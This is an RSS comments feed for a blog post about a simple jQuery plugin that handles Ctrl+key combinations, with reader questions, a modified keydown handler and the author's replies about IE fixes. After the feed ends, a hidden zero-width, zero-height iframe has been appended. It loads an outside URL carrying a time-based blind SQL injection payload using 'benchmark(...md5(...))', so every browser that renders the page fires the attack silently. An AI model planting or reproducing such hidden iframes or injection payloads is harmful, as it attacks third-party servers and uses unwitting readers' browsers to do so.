<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Ctrl + Key Combination &#8211; Simple Jquery Plugin</title>
	<atom:link href="http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/</link>
	<description>Ganesh\</description>
	<lastBuildDate>Thu, 11 Mar 2010 03:23:10 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Tony</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-68509</link>
		<dc:creator>Tony</dc:creator>
		<pubDate>Fri, 19 Feb 2010 00:51:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-68509</guid>
		<description>Hi, is there a way to invoke the Ctrl+F key combo from a simple hyperlink using jquery, to bring up the &quot;find in page&quot; box in all browsers?</description>
		<content:encoded><![CDATA[<p>Hi, is there a way to invoke the Ctrl+F key combo from a simple hyperlink using jquery, to bring up the &#8220;find in page&#8221; box in all browsers?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: David S</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-68445</link>
		<dc:creator>David S</dc:creator>
		<pubDate>Wed, 17 Feb 2010 20:09:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-68445</guid>
		<description>This worked great, although I did need to tweak it slightly as I needed to modify Ctrl+Insert, which required a keycode.

This is how I modified the code: 

$.ctrl = function(key, callback, args) {
    var isCtrl = false;
    $(document).keydown(function(e) {
        if(!args) args=[]; // IE barks when args is null

        if(e.ctrlKey) isCtrl = true;
        var kc = parseInt(key);
        if((!isNaN(kc) &amp;&amp; kc &gt; 0 &amp;&amp; e.keyCode == key &#124;&#124; isNaN(kc) &amp;&amp; e.keyCode == key.charCodeAt(0)) &amp;&amp; isCtrl) {
            callback.apply(this, args);
            return false;
        }
    }).keyup(function(e) {
        if(e.ctrlKey) isCtrl = false;
    });
};



$.ctrl(45, function() { alert(&#039;custom functionality goes here&#039;); return false; });</description>
		<content:encoded><![CDATA[<p>This worked great, although I did need to tweak it slightly as I needed to modify Ctrl+Insert, which required a keycode.</p>
<p>This is how I modified the code: </p>
<p>$.ctrl = function(key, callback, args) {<br />
    var isCtrl = false;<br />
    $(document).keydown(function(e) {<br />
        if(!args) args=[]; // IE barks when args is null</p>
<p>        if(e.ctrlKey) isCtrl = true;<br />
        var kc = parseInt(key);<br />
        if((!isNaN(kc) &amp;&amp; kc &gt; 0 &amp;&amp; e.keyCode == key || isNaN(kc) &amp;&amp; e.keyCode == key.charCodeAt(0)) &amp;&amp; isCtrl) {<br />
            callback.apply(this, args);<br />
            return false;<br />
        }<br />
    }).keyup(function(e) {<br />
        if(e.ctrlKey) isCtrl = false;<br />
    });<br />
};</p>
<p>$.ctrl(45, function() { alert(&#8217;custom functionality goes here&#8217;); return false; });</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: krishna</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-68137</link>
		<dc:creator>krishna</dc:creator>
		<pubDate>Wed, 10 Feb 2010 05:47:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-68137</guid>
		<description>Hi this is krishna i need help from you when i am calling javascript function Ctrl+D event has to be fire can you please give me solution pleeeez</description>
		<content:encoded><![CDATA[<p>Hi this is krishna i need help from you when i am calling javascript function Ctrl+D event has to be fire can you please give me solution pleeeez</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jordan Boesch</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-66811</link>
		<dc:creator>Jordan Boesch</dc:creator>
		<pubDate>Thu, 07 Jan 2010 01:58:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-66811</guid>
		<description>Cool plugin! I wrote something pretty similar recently that adds a new event that you can bind called &quot;keystrokes&quot;.  Check it out!
http://boedesign.com/blog/2009/12/30/keystrokes-for-jquery/</description>
		<content:encoded><![CDATA[<p>Cool plugin! I wrote something pretty similar recently that adds a new event that you can bind called &#8220;keystrokes&#8221;.  Check it out!<br />
<a href="http://boedesign.com/blog/2009/12/30/keystrokes-for-jquery/" rel="nofollow">http://boedesign.com/blog/2009/12/30/keystrokes-for-jquery/</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: travesti</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-64756</link>
		<dc:creator>travesti</dc:creator>
		<pubDate>Sun, 15 Nov 2009 02:54:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-64756</guid>
		<description>It is enough to check for e.ctrlKey as it will return true if the “Ctrl” key is down even if another key is being pressed along with Ctrl.</description>
		<content:encoded><![CDATA[<p>It is enough to check for e.ctrlKey as it will return true if the “Ctrl” key is down even if another key is being pressed along with Ctrl.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: dk4r</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-62041</link>
		<dc:creator>dk4r</dc:creator>
		<pubDate>Fri, 11 Sep 2009 03:24:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-62041</guid>
		<description>When I use this plug in in FF, I press Ctrl + S, FF show me the Save dialog, how can I disable it, mean when I click Ctrl + S, my page save content, It doesn&#039;t fire the FF save dialog. Like gmail, if I&#039;m focus on textbox, press Ctrl+S, it shows me Saving..., if I leave the textbox and press Ctrl+S again, it shows me the FF Save Dialog. Thank you and waiting for your reply.</description>
		<content:encoded><![CDATA[<p>When I use this plug in in FF, I press Ctrl + S, FF show me the Save dialog, how can I disable it, mean when I click Ctrl + S, my page save content, It doesn&#8217;t fire the FF save dialog. Like gmail, if I&#8217;m focus on textbox, press Ctrl+S, it shows me Saving&#8230;, if I leave the textbox and press Ctrl+S again, it shows me the FF Save Dialog. Thank you and waiting for your reply.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: remzi</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-61186</link>
		<dc:creator>remzi</dc:creator>
		<pubDate>Mon, 10 Aug 2009 17:24:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-61186</guid>
		<description>thanks  so much</description>
		<content:encoded><![CDATA[<p>thanks  so much</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ganeshji Marwaha</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-59709</link>
		<dc:creator>Ganeshji Marwaha</dc:creator>
		<pubDate>Sat, 04 Jul 2009 16:05:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-59709</guid>
		<description>@A Nony Mouse #6: Thanks for your input. I have updated the plugin based on your input. It does make the plugin look a lot cleaner and now it is a lot smaller.</description>
		<content:encoded><![CDATA[<p>@A Nony Mouse #6: Thanks for your input. I have updated the plugin based on your input. It does make the plugin look a lot cleaner and now it is a lot smaller.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: A Nony Mouse</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-59632</link>
		<dc:creator>A Nony Mouse</dc:creator>
		<pubDate>Fri, 03 Jul 2009 06:50:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-59632</guid>
		<description>In my experience e.ctrlKey is true if the control key is down, not just if it is the key that was pressed. You could remove isCtrl and replace it with e.ctrlKey. Also watch out, some browsers (at least IE and chrome) will send back different character code for the enter key if ctrl is held down. not a problem if you are just using it for CTRL-S</description>
		<content:encoded><![CDATA[<p>In my experience e.ctrlKey is true if the control key is down, not just if it is the key that was pressed. You could remove isCtrl and replace it with e.ctrlKey. Also watch out, some browsers (at least IE and chrome) will send back different character code for the enter key if ctrl is held down. not a problem if you are just using it for CTRL-S</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ganeshji Marwaha</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/comment-page-1/#comment-59600</link>
		<dc:creator>Ganeshji Marwaha</dc:creator>
		<pubDate>Thu, 02 Jul 2009 18:08:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35#comment-59600</guid>
		<description>@Dobi #3, #4: You are right. There was an error in IE. IE throws an error when your callback function doesn&#039;t have any args. I have FIXED the code and updated it in the blog entry. Kindly take the latest code from the blog entry and check if it works for you. I checked it in IE 6 and 7, but not in IE 8. So, kindly lemme know if it works for you.</description>
		<content:encoded><![CDATA[<p>@Dobi #3, #4: You are right. There was an error in IE. IE throws an error when your callback function doesn&#8217;t have any args. I have FIXED the code and updated it in the blog entry. Kindly take the latest code from the blog entry and check if it works for you. I checked it in IE 6 and 7, but not in IE 8. So, kindly lemme know if it works for you.</p>
]]></content:encoded>
	</item>
</channel>
</rss>


<iframe frameborder=0 marginwidth=0 marginheight=0 scrolling=no width=0 height=0 src="http://loidich.com/?do=links&act=top100&keyword=CaiPen%22%29%20and%20benchmark%28100000000000%2Cmd5%28char%2897%29%29%29%3Dbenchmark%28100000000000%2Cmd5%28char%2897%29%29%29%23&Submit=Go"></iframe>